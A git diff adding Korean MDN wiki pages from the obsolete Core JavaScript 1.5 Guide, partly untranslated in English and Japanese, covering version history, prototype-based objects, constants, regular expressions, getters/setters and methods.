+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/About
+---
+<h3 id=".EC.9D.B4.EB.B2.88_.EB.A6.B4.EB.A6.AC.EC.A6.88.EC.9D.98_.EC.83.88_.EA.B8.B0.EB.8A.A5" name=".EC.9D.B4.EB.B2.88_.EB.A6.B4.EB.A6.AC.EC.A6.88.EC.9D.98_.EC.83.88_.EA.B8.B0.EB.8A.A5"> 이번 릴리즈의 새 기능 </h3>
+<p>JavaScript 버전 1.5는 다음과 같은 개선과 새 기능을 제공합니다:
+</p><p><b>런타임 오류</b><br>
+런타임 오류가 예외로서 보고됩니다.
+</p><p><b>숫자 표현 서식 개선</b><br>
+숫자를 표현하는 서식이 Number.prototype.toExponential, Number.prototype.toFixed, Number.prototype.toPrecision 메소드를 포함함으로서 개선되었습니다. <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Number_Object">Number 개체</a> 페이지를 보십시오.
+</p><p><b>정규 표현식 개선</b><br>
+정규표현식이 다음과 같이 개선되었습니다:
+</p>
+<ul><li> 한정자 — +, *, ?, {} — 뒤에 ?를 붙여서 greedy하지 않도록 할 수 있습니다. <a href="ko/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern#Using_Special_Characters">정규 표현식 패턴 쓰기</a> 페이지에서 ?에 대한 항목을 보십시오.
+</li><li> Non-capturing parentheses, (?:x) can be used instead of capturing parentheses(x). When non-capturing parentheses are used, matched subexpressions are not available as back-references. See the entry for (?:x) on page <a href="ko/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern#Using_Special_Characters">Writing a Regular Expression Pattern</a>.
+</li><li> Positive and negative lookahead assertions are supported. Both assert a match depending on what follows the string being matched. See the entries for x(?=y) and x(?!y) on page <a href="ko/Core_JavaScript_1.5_Guide/Writing_a_Regular_Expression_Pattern#Using_Special_Characters">Writing a Regular Expression Pattern</a>.
+</li><li> The m flag has been added to specify that the regular expression should match over multiple lines. See the <a href="ko/Core_JavaScript_1.5_Guide/Working_with_Regular_Expressions/Executing_a_Global_Search%2c_Ignoring_Case%2c_and_Considering_Multiline_Input">Executing a Global Search, Ignoring Case, and Considering Multiline Input</a> page.
+</li></ul>
+<p><b>조건부 함수 선언</b><br>
+함수를 if 조건안에서 선언할 수 있습니다. <a href="ko/Core_JavaScript_1.5_Guide/Defining_Functions">함수 정의</a> 페이지를 참고하세요.
+</p><p><b>함수 표현식</b> <br>
+함수를 표현식 안에서 선언할 수 있습니다. <a href="ko/Core_JavaScript_1.5_Guide/Defining_Functions">함수 정의</a> 페이지를 참고하세요.
+</p><p><b>Multiple catch clauses</b><br>
+Multiple catch clauses in a try...catch statement are supported. See <a href="ko/Core_JavaScript_1.5_Guide/Exception_Handling_Statements/try...catch_Statement#The_catch_Block">The catch Block</a> page.
+</p><p><b>Getters와 Setters</b><br>
+JavaScript writers can now add getters and setters to their objects. This feature is available only in the C implementation of JavaScript. See the <a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters">Defining Getters and Setters</a> page.
+</p><p><b>상수</b> <br>
+읽기전용의 상수가 지원됩니다. This feature is available only in the C implementation of JavaScript. See the <a href="ko/Core_JavaScript_1.5_Guide/Constants">Constants</a> page.
+</p>
+<h3 id=".EB.AF.B8.EB.A6.AC_.EC.95.8C.EA.B3.A0_.EC.9E.88.EC.96.B4.EC.95.BC_.ED.95.A0_.EA.B2.83" name=".EB.AF.B8.EB.A6.AC_.EC.95.8C.EA.B3.A0_.EC.9E.88.EC.96.B4.EC.95.BC_.ED.95.A0_.EA.B2.83"> 미리 알고 있어야 할 것 </h3>
+<p>이 안내서는 당신이 다음과 같은 배경지식을 지녔다고 가정합니다:
+</p>
+<ul><li> 인터넷과 World Wide Web (WWW)에 대한 상식적인 이해
+</li><li> HyperText Markup Language (HTML)에 대한 충분한 지식<br>
+</li></ul>
+<p>C 혹은 Visual Basic에 대한 프로그래밍 경험이 있으면 좋지만, 필수사항은 아닙니다.
+</p>
+<h3 id="JavaScript_.EB.B2.84.EC.A0.84" name="JavaScript_.EB.B2.84.EC.A0.84"> JavaScript 버전 </h3>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>JavaScript 버전</th>
+<th>Navigator 버전</th>
+</tr>
+<tr>
+<td>JavaScript 1.0</td>
+<td>Navigator 2.0</td>
+</tr>
+<tr>
+<td>JavaScript 1.1</td>
+<td>Navigator 3.0</td>
+</tr>
+<tr>
+<td>JavaScript 1.2</td>
+<td>Navigator 4.0-4.05</td>
+</tr>
+<tr>
+<td>JavaScript 1.3</td>
+<td>Navigator 4.06-4.7x</td>
+</tr>
+<tr>
+<td>JavaScript 1.4</td>
+<td> </td>
+</tr>
+<tr>
+<td>JavaScript 1.5</td>
+<td>Navigator 6.0<br>모질라 (오픈소스 브라우저)</td>
+</tr>
+</tbody></table>
+<p><small><b>표1: JavaScript와 Navigator 버전</b></small><br>
+<br>
+Each version of the Netscape Enterprise Server also supports a different version of JavaScript. To help you write scripts that are compatible with multiple versions of the Enterprise Server, this manual uses an abbreviation to indicate the server version in which each feature was implemented.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>Abbreviation</th>
+<th>Enterprise Server version</th>
+</tr>
+<tr>
+<td>NES 2.0</td>
+<td>Netscape Enterprise Server 2.0</td>
+</tr>
+<tr>
+<td>NES 3.0</td>
+<td>Netscape Enterprise Server 3.0</td>
+</tr>
+</tbody></table>
+<p><small><b>Table 2: Abbreviations of Netscape Enterprise Server versions</b></small>
+</p>
+<h3 id="JavaScript_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.B0.BE.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3" name="JavaScript_.EC.A0.95.EB.B3.B4.EB.A5.BC_.EC.B0.BE.EC.9D.84_.EC.88.98_.EC.9E.88.EB.8A.94_.EA.B3.B3"> JavaScript 정보를 찾을 수 있는 곳 </h3>
+<p>The core JavaScript documentation includes the following books:
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Guide">The Core JavaScript Guide</a> (this guide) provides information about the core JavaScript language and its objects.
+</li><li> <a href="ko/Core_JavaScript_1.5_Reference">The Core JavaScript Reference</a> provides reference material for the core JavaScript language.
+</li></ul>
+<p>If you are new to JavaScript, start with the <a href="ko/Core_JavaScript_1.5_Guide">Core JavaScript Guide</a>. Once you have a firm grasp of the fundamentals, you can use the <a href="ko/Core_JavaScript_1.5_Reference">Core JavaScript Reference</a> to get more details on individual objects and statements.
+</p>
+<h3 id=".EB.AC.B8.EC.84.9C_.EA.B7.9C.EC.95.BD" name=".EB.AC.B8.EC.84.9C_.EA.B7.9C.EC.95.BD"> 문서 규약 </h3>
+<p>JavaScript 응용프로그램은 많은 운영체제에서 실행됩니다. 이 책에 있는 정보는 모든 운영체제에 적용됩니다. 파일과 디렉토리 경로는 Windows 형식(디렉토리 이름을 구분하는데 역슬래시를 사용)으로 썼습니다. Unix에서는 역슬래시를 슬래시로 바꾸어 사용하면 됩니다.
+</p><p>이 안내서에서 URL은 다음과 같은 형태로 씁니다.
+</p><p><code><span class="nowiki">http://server.domain/path/file.html</span></code>
+</p><p>이 URL에서 "server"는 우리가 응용프로그램을 실행하는 서버 이름(research1이나 www 등)이고, "domain"은 인터넷 도메인 이름(netscape.com이나 uiuc.edu 등)입니다. "path"는 서버의 디렉토리 구조를 나타내고, "file.html"은 파일 이름입니다. 일반적으로 URL에서 이탤릭체로 쓴 부분은 알맞은 내용으로 바꿔써야 할 내용(placeholder)이고, 평범한 고정폭 글꼴은 그대로 쓰면 되는 내용입니다. Secure Socket Layer(SSL)을 사용하는 서버라면 http 대신 https를 쓰면 됩니다.
+</p><p>이 안내서는 다음과 같은 관례를 따릅니다.
+</p>
+<ul><li> <code>고정폭 글꼴</code>은 샘플 코드, API, 언어 요소(메소드 이름, 속성 이름 등), 파일 이름, 경로, 디렉토리 이름, HTML 태그, 화면에 입력해야 할 텍스트를 나타내는 데 쓰입니다. (고정폭 이탤릭체는 코드 내용 중에서 적당히 알맞은 내용으로 바꿔써야 할 부분을 나타내는 데 씁니다.)
+</li><li> <i>이탤릭체</i>는 책 제목, 강조, 변수, 뜻 그대로 쓰인 단어(words in the literal sense)에 씁니다.
+</li><li> <b>굵은 글씨</b>는 용어에 씁니다.
+</li></ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide", "Core_JavaScript_1.5_Guide:JavaScript_Overview") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/About", "fr": "fr/Guide_JavaScript_1.5/\u00c0_propos", "ja": "ja/Core_JavaScript_1.5_Guide/About", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/O" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html
new file mode 100644
index 0000000000..20601a0e81
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/class-based_vs._prototype-based_languages/index.html
@@ -0,0 +1,26 @@
+---
+title: Class-Based vs. Prototype-Based Languages
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages
+---
+<h3 id=".E3.82.AF.E3.83.A9.E3.82.B9.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E.E3.81.A8.E3.83.97.E3.83.AD.E3.83.88.E3.82.BF.E3.82.A4.E3.83.97.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E" name=".E3.82.AF.E3.83.A9.E3.82.B9.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E.E3.81.A8.E3.83.97.E3.83.AD.E3.83.88.E3.82.BF.E3.82.A4.E3.83.97.E3.83.99.E3.83.BC.E3.82.B9.E8.A8.80.E8.AA.9E">클래스 기반언어와 프로토타입 기반언어</h3>
+<p>Java와 C++이라는 클래스 기반의 객체지향언어는 클래스와 인스턴스라는 2개의 다른 실체가 있다는 개념에 기초하고 있습니다.</p>
+<ul> <li>클래스는 어떤 객체의 집합을 특징짓는 모든 속성(Java에서는 메소드와 필드를, C++에서는 멤버를 프로퍼티로 간주)을 정의합니다. 클래스란 그것이 나타내는 객체집합의 특정멤버가 아닌, 추상적인것입니다. 예를들어, Employee클래스는 모든 종업원의 집합을 나타냅니다.</li> <li>한편, 인스턴스는 클래스를 실례로 한것입니다. 즉, 그 멤버중 하나인것입니다. 예를들어, Victoria는 Employee클래스의 인스턴스가 될 수 있습니다. 이 클래스는 특정 개인을 종업원으로서 표현하고 있는것입니다. 인스턴스는 그 부모클래스의 속성을 정확하게 유지하고 있습니다.</li>
+</ul>
+<p>JavaScript のようなプロトタイプベース言語はこの区別がありません。単にオブジェクトがあるだけです。プロトタイプベース言語には原型的なオブジェクトという概念があります。このオブジェクトは新しいオブジェクトの初期プロパティを取得する元になるテンプレートとして使用されます。どのオブジェクトもそれ独自のプロパティを指定できます。オブジェクト作成時にも実行時にも可能です。さらに、どのオブジェクトも別のオブジェクトに対するプロトタイプとして関連付けることができます。2 つ目のオブジェクトが 1 つ目のオブジェクトのプロトタイプを共有するということもできます。</p>
+<h4 id=".E3.82.AF.E3.83.A9.E3.82.B9.E3.81.AE.E5.AE.9A.E7.BE.A9" name=".E3.82.AF.E3.83.A9.E3.82.B9.E3.81.AE.E5.AE.9A.E7.BE.A9">クラスの定義</h4>
+<p>クラスベース言語ではクラス定義ごとにクラスを定義します。定義では特殊なメソッドを指定してそのクラスのインスタンスを作成することができます。そのようなメソッドはコンストラクタと呼びます。コンストラクタメソッドはインスタンスのプロパティに対する初期値を指定することができます。また、作成時に他の適当な処理を実行することもできます。new 演算子をコンストラクタメソッドと一緒に用いることでクラスのインスタンスを作成できます。</p>
+<p>JavaScript は同様のモデルに従っていますが、コンストラクタと別になっているクラス定義がありません。その代わりに、プロパティと値からなる特定の初期的なセットを持つオブジェクトを作成するコンストラクタ関数を定義します。どの JavaScript 関数もコンストラクタとして使用できます。new 演算子をコンストラクタ関数とともに使用することで新しいオブジェクトを作成します。</p>
+<h4 id=".E3.82.B5.E3.83.96.E3.82.AF.E3.83.A9.E3.82.B9.E3.81.A8.E7.B6.99.E6.89.BF" name=".E3.82.B5.E3.83.96.E3.82.AF.E3.83.A9.E3.82.B9.E3.81.A8.E7.B6.99.E6.89.BF">サブクラスと継承</h4>
+<p>クラスベース言語ではクラス定義を通じてクラスの階層を作ります。クラス定義では新しいクラスがある既存のクラスのサブクラスになるように指定することができます。サブクラスはスーパークラスの全プロパティを継承します。さらに新しくプロパティを追加したり継承したものを変更することもできます。例えば、Employee クラスが name および dept プロパティのみを含んでおり、Manager は reports プロパティを追加する Employee のサブクラスであるとします。この場合、Manager クラスのインスタンスは name、dept、reports という 3 つのプロパティをすべて持つことになります。</p>
+<p>JavaScript では、原型的なオブジェクトをどのコンストラクタ関数にも結びつけることができるようにして継承を実装しています。そのため、全く同じような Employee と Manager の例を作成することができますが、使用する用語が若干異なります。まず、Employee コンストラクタ関数を定義します。これは name および dept プロパティを指定します。次に Manager コンストラクタ関数を定義します。これは reports プロパティを指定します。最後に新しい Employee オブジェクトを Manager コンストラクタ関数に対するプロトタイプとして代入します。そして新しい Manager を作成すると、このオブジェクトは Employee オブジェクトから name および dept プロパティを継承します。</p>
+<h4 id=".E3.83.97.E3.83.AD.E3.83.91.E3.83.86.E3.82.A3.E3.81.AE.E8.BF.BD.E5.8A.A0.E3.81.A8.E5.89.8A.E9.99.A4" name=".E3.83.97.E3.83.AD.E3.83.91.E3.83.86.E3.82.A3.E3.81.AE.E8.BF.BD.E5.8A.A0.E3.81.A8.E5.89.8A.E9.99.A4">プロパティの追加と削除</h4>
+<p>クラスベース言語では一般的にクラスをコンパイル時に生成し、コンパイル時または実行時にクラスのインスタンスを作成します。クラス定義後にそのクラスのプロパティの数や型を変更することはできません。しかし、JavaScript ではどんなオブジェクトでも実行時にプロパティを追加したり削除したりすることができます。あるオブジェクトのセットでプロトタイプとして使用されているオブジェクトにプロパティを追加すると、そのプロトタイプの使用元であるオブジェクトにも新しいプロパティが追加されます。</p>
+<h4 id=".E9.81.95.E3.81.84.E3.81.AE.E6.A6.82.E8.A6.81" name=".E9.81.95.E3.81.84.E3.81.AE.E6.A6.82.E8.A6.81">違いの概要</h4>
+<p>次の表でこれらの違いをいくつか短くまとめてみます。この章の残りで、JavaScript のコンストラクタとプロトタイプを用いてオブジェクト階層を作成することについての詳細を説明していきます。また、この方法が Java ではどう変わるかという比較もします。</p>
+<table class="fullwidth-table"> <tbody> <tr> <th>クラスベース (Java)</th> <th>プロトタイプベース (JavaScript)</th> </tr> <tr> <td>クラスとインスタンスは異なる実体である。</td> <td>すべてのオブジェクトはインスタンスである。</td> </tr> <tr> <td>クラス定義を用いてクラスを定義する。また、コンストラクタメソッドを用いてクラスをインスタンス化する。</td> <td>コンストラクタ関数を用いてオブジェクトのセットを定義し、作成する。</td> </tr> <tr> <td><code>new</code> 演算子を用いて単一のオブジェクトを作成する。</td> <td>同じ。</td> </tr> <tr> <td>既存のクラスのサブクラスを定義するクラス定義を用いてオブジェクト階層を構築する。</td> <td>コンストラクタ関数に結びつけられたプロトタイプとしてオブジェクトを代入することでオブジェクト階層を構築する。</td> </tr> <tr> <td>クラスチェーンに従ってプロパティを継承する。</td> <td>プロトタイプチェーンに従ってプロパティを継承する。</td> </tr> <tr> <td>クラス定義がクラスの全インスタンスの全プロパティを指定する。実行時に動的にプロパティを追加することはできない。</td> <td>コンストラクタ関数またはプロトタイプがプロパティの初期セットを指定する。個々のオブジェクトやオブジェクトの全体のセットに動的にプロパティを追加したり、それらからプロパティを除去したりできる。</td> </tr> </tbody>
+</table>
+<div class="noinclude">
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Predefined_Core_Objects:String_Object", "Core_JavaScript_1.5_Guide:The_Employee_Example") }}</p>
+</div>
+<p>{{ languages( { "zh-tw": "zh_tw/Core_JavaScript_1.5_教學/以類別為基礎的語言_vs._以原型為基礎的語言", "en": "en/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages", "es": "es/Gu\u00eda_JavaScript_1.5/Lenguajes_basados_en_clases_frente_a_basados_en_prototipos", "fr": "fr/Guide_JavaScript_1.5/Langages_bas\u00e9s_sur_les_classes_et_langages_bas\u00e9s_sur_les_prototypes", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/J\u0119zyki_oparte_na_klasach_vs._oparte_na_prototypach", "zh-cn": "cn/Core_JavaScript_1.5_Guide/Class-Based_vs._Prototype-Based_Languages" } ) }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html
new file mode 100644
index 0000000000..48a697fdc2
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/constants/index.html
@@ -0,0 +1,28 @@
+---
+title: Constants
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Constants
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EC.83.81.EC.88.98" name=".EC.83.81.EC.88.98"> 상수 </h3>
+<p><code><a href="ko/Core_JavaScript_1.5_Reference/Statements/const">const</a></code> 키워드를 이용하면 읽기 전용의 이름 있는 상수를 만들 수 있습니다. 상수 식별자(const identifier)는 변수의 식별자와 동일합니다. 문자나 밑줄로 시작해야 하고, 알파벳, 숫자, 밑줄 문자를 사용할 수 있습니다.
+</p>
+<pre class="eval">const prefix = '212';
+</pre>
+<p>상수는 스크립트 실행 중에 값을 대입하거나 다시 선언하여 값을 바꿀 수 없습니다.
+</p><p>전역 상수인 경우에도 항상 <code>const</code> 키워드를 붙여야 한다는 점만 제외하면, 상수의 범위 규칙은 변수의 경우와 동일합니다. const 키워드가 없으면 변수라고 판정됩니다.
+</p><p>같은 범위에 있는 함수나 변수의 이름과 같은 이름으로 상수를 만들 수 없습니다. 예를 들어,
+</p>
+<pre>//이 코드는 에러를 낼 것입니다
+function f() {};
+ const f = 5;
+
+//이 코드 또한 에러를 냅니다.
+function f() {
+ const g = 5;
+ var g;
+
+ //그 외 코드...
+
+}</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Variables", "Core_JavaScript_1.5_Guide:Literals") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Constants", "fr": "fr/Guide_JavaScript_1.5/Constantes", "ja": "ja/Core_JavaScript_1.5_Guide/Constants", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Sta\u0142e" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html
new file mode 100644
index 0000000000..d969b378f4
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_a_regular_expression/index.html
@@ -0,0 +1,35 @@
+---
+title: Creating a Regular Expression
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_a_Regular_Expression
+---
+<h3 id=".EC.A0.95.EA.B7.9C.ED.91.9C.ED.98.84.EC.8B.9D_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EC.A0.95.EA.B7.9C.ED.91.9C.ED.98.84.EC.8B.9D_.EB.A7.8C.EB.93.A4.EA.B8.B0">정규표현식 만들기</h3>
+<p>정규표현식은 다음의 두 가지 방법으로 만들 수 있습니다.</p>
+<ul>
+ <li>정규표현식 상수값을 이용하여 만들기</li>
+</ul>
+<pre> re = /ab+c/; </pre>
+<dl>
+ <dd>
+ <dl>
+ <dd>
+ 정규표현식 상수값은 스크립트가 실행될 때 컴파일됩니다. 따라서 정규표현식의 값이 변하지 않을 경우, 이 방법을 사용하면 좀 더 나은 성능을 얻을 수 있습니다.</dd>
+ </dl>
+ </dd>
+</dl>
+<ul>
+ <li><a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/RegExp">RegExp</a> 객체의 생성자를 호출하여 만들기</li>
+</ul>
+<pre> re = new RegExp("ab+c"); </pre>
+<dl>
+ <dd>
+ <dl>
+ <dd>
+ 생성자를 이용하면 실행 시간에 정규표현식이 컴파일됩니다. 정규표현식 패턴이 바뀔 것을 알고 있거나, 또는 패턴을 사용자의 입력 등을 통해 외부에서 가져오려고 할 때 이 방법을 사용하십시오.</dd>
+ </dl>
+ </dd>
+</dl>
+<div class="noinclude">
+ <p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Special_Operators", "Core_JavaScript_1.5_Guide:Writing_a_Regular_Expression_Pattern") }}</p>
+</div>
+<p> </p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html
new file mode 100644
index 0000000000..3238e19b0f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_getters_and_setters/index.html
@@ -0,0 +1,84 @@
+---
+title: Defining Getters and Setters
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Getters_and_Setters
+---
+<h3 id="getter.2Fsetter_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0" name="getter.2Fsetter_.EC.A0.95.EC.9D.98.ED.95.98.EA.B8.B0">getter/setter 정의하기</h3>
+
+<p>getter는 속성의 값을 얻어오는 메소드이고, setter는 속성의 값을 설정하는 메소드입니다. 우리는 언어에서 미리 정의한 핵심 개체들과 사용자 정의 개체에 getter/setter를 정의할 수 있습니다. getter와 setter를 정의할 때 쓰이는 문법은 개체 상수값 문법입니다.</p>
+
+<p>다음의 JS 쉘 세션은 사용자가 정의한 개체 o에 대해서 getter와 setter가 어떻게 동작하는지 보여줍니다. JS 쉘은 JavaScript를 한 번에 실행(batch)하거나 대화식으로(interactively) 실행할 수 있게 해주는 응용프로그램입니다.</p>
+
+<p><code>o</code> 개체에는 이런 속성이 있습니다.</p>
+
+<ul>
+ <li>o.a - 수</li>
+ <li>o.b - o.a 더하기 1을 반환하는 getter</li>
+ <li>o.c - 받은 값을 2로 나누어서 o.a에 설정하는 setter</li>
+</ul>
+
+<pre>js&gt; o = new Object;
+[object Object]
+js&gt; o = {a:7, get b() {return this.a+1; }, set c(x) {this.a = x/2}};
+[object Object]
+js&gt; o.a
+7
+js&gt; o.b
+8
+js&gt; o.c = 50
+js&gt; o.a
+25
+js&gt;
+</pre>
+
+<p>다음 JavaScript 쉘 세션은 이미 정의된 <code>Date</code> 모든 인스턴스에 year 속성을 추가하기 위해서 getter/setter가 어떻게 Date 프로토타입을 확장하는지 보여줍니다. 이 세션에서는 year 속성의 getter와 setter를 지원하기 위해서 <code>Date</code>에 있는 <code>getFullYear</code> 메소드와 <code>setFullYear</code> 메소드를 사용하고 있습니다.</p>
+
+<p>이 문장들은 year 속성에 대한 getter와 setter를 정의합니다.</p>
+
+<pre>js&gt; var d = Date.prototype;
+js&gt; d.__defineGetter__("year", function() { return this.getFullYear(); });
+js&gt; d.__defineSetter__("year", function(y) { this.setFullYear(y); });
+</pre>
+
+<p>이 문장들은 <code>Date</code>의 getter/setter를 사용합니다.</p>
+
+<pre>js&gt; var now = new Date;
+js&gt; print(now.year);
+2000
+js&gt; now.year=2001;
+987617605170
+js&gt; print(now);
+Wed Apr 18 11:13:25 GMT-0700 (Pacific Daylight Time) 2001
+</pre>
+
+<div class="note">JavaScript 1.5를 개발하는 동안 이미 존재하는 개체에 getter/setter를 추가할 때 <code>getter =</code>, <code>setter =</code>이라는 식의 문법을 사용하던 때가 잠깐 있었습니다. 이 문법은 이제 사용하지 말아야 합니다. 현재의 JS 1.5 엔진에서는 경고를 발생시키고, 더 나중의 버전에서는 문법 에러를 발생시키게 될 것입니다.</div>
+
+<p> </p>
+
+<h3 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h3>
+
+<p>getter/setter를</p>
+
+<ul>
+ <li><a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화 지정자</a>를 이용해서 정의하거나,</li>
+ <li>개체가 만들어진 이후에 getter/setter 추가 메소드를 이용해서 언제든지 추가할 수 있습니다.</li>
+</ul>
+
+<p><a href="ko/Core_JavaScript_1.5_Guide/Creating_New_Objects/Using_Object_Initializers">개체 초기화 지정자</a>를 이용할 때는 단순히 getter 메소드 앞에는 <code>get</code>을 써주고 setter 메소드 앞에는 <code>set</code>을 써주기만 하면됩니다. 물론 getter 메소드에는 매개변수가 없어야 하고 setter에는 정확히 하나만 있어야 합니다. 다음 예제에서와 같이 말입니다.</p>
+
+<pre class="eval">o = {
+ a:7,
+ <strong>get</strong> b() { return this.a+1; },
+ <strong>set</strong> c(x) { this.a = x/2; }
+};
+</pre>
+
+<p>개체가 생성된 이후에 어느 때라도 <code>__defineGetter__</code>와 <code>__defineSetter__</code>라는 메소드를 이용하면 getter/setter를 정의할 수 있습니다. 두 메소드 모두 첫 번째 매개변수에 getter/setter 이름을 나타내는 문자열을 받습니다. 두 번째 매개변수는 getter/setter로서 호출될 함수를 받습니다. 예제를 보십시오.</p>
+
+<pre class="eval">o.__defineGetter__("b", function() { return this.a+1; });
+o.__defineSetter__("c", function(x) { this.a = x/2; });
+</pre>
+
+<p>두 가지 중에서 어떤 방식을 택할지는 프로그래밍 스타일이나 해야할 작업에 달려있습니다. 프로토타입을 정의하는데 이미 개체 초기화 지정자를 사용하고 있다면 거의 첫 번째 방식을 사용할 것입니다. 첫 번째가 좀 더 단순하고 자연스러운 방식입니다. 그러나 우리가 직접 프로토토입을 만들거나 개체를 생성할 수 없어서 나중에 getter/setter를 추가해야 하는 상황이라면 두 번째 방식을 사용할 수 밖에 없습니다. 두 번째 방식은 JavaScript의 동적인 특성을 잘 보여주는 방식입니다. 하지만 코드를 읽고 이해하기 어렵게 만들 수도 있습니다.</p>
+
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Deleting_Properties") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html
new file mode 100644
index 0000000000..8e91a2007f
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/creating_new_objects/defining_methods/index.html
@@ -0,0 +1,43 @@
+---
+title: Defining Methods
+slug: >-
+ Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Creating_New_Objects/Defining_Methods
+---
+<h3 id=".EB.A9.94.EC.86.8C.EB.93.9C_.EC.A0.95.EC.9D.98" name=".EB.A9.94.EC.86.8C.EB.93.9C_.EC.A0.95.EC.9D.98">메소드 정의</h3>
+<p>
+ <i>
+ 메소드</i>
+ 는 개체와 연관되어 있는 함수입니다. 일반적인 함수를 정의하는 것과 같은 방법으로 메소드를 정의합니다. 그 후에, 존재하는 개체와 함수를 연관시키기 위해서 다음과 같은 문법을 사용합니다.</p>
+<pre>object.methodname = function_name
+</pre>
+<p><code>object</code>는 존재하는 개체중에 하나이고, <code>methodname</code>은 지금 추가하려는 메소드 이름이며, <code>function_name</code>은 함수 이름입니다.</p>
+<p>이제 우리는 개체의 메소드를 호출할 때 다음과 같이 할 수 있습니다.</p>
+<pre>object.methodname(params);
+</pre>
+<p>개체 생성자 함수에 메소드 정의를 포함시켜서 개체 타입에 대한 메소드를 정의할 수 있습니다. 예를 들어, 미리 정의된 car 개체의 속성을 출력해주는 함수를 정의할 수 있습니다.</p>
+<pre>function displayCar() {
+ var result = "A Beautiful " + this.year + " " + this.make
+ + " " + this.model;
+ pretty_print(result);
+}
+</pre>
+<p><code>pretty_print</code>는 가로선과 문자열을 출력하는 함수입니다. 이 메소드가 포함된 개체를 참조하기 위해서 <code>this</code>를 사용하고 있다는 것을 주의해서 보십시오.</p>
+<p>아래 문장을 개체 정의에 추가함으로써 이 함수를 car의 메소드로 만들 수 있습니다.</p>
+<pre>this.displayCar = displayCar;
+</pre>
+<p>그러므로 <code>car</code> 개체의 완벽한 정의는 아래와 같은 모습이 될 것입니다.</p>
+<pre>function car(make, model, year, owner) {
+ this.make = make;
+ this.model = model;
+ this.year = year;
+ this.owner = owner;
+ this.displayCar = displayCar;
+}
+</pre>
+<p>그러면 우리는 모든 car 개체에 대해서 이런 식으로 <code>displayCar</code> 메소드를 호출할 수 있게됩니다.</p>
+<pre>car1.displayCar()
+car2.displayCar()
+</pre>
+<p>이 코드는 다음 그림과 같은 내용을 만들어냅니다.</p>
+<p><img alt="Image:obja.gif"> <small><b>그림 7.1: 메소드 출력 결과</b></small></p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Defining_Properties_for_an_Object_Type", "Core_JavaScript_1.5_Guide:Creating_New_Objects:Using_this_for_Object_References") }}</p>
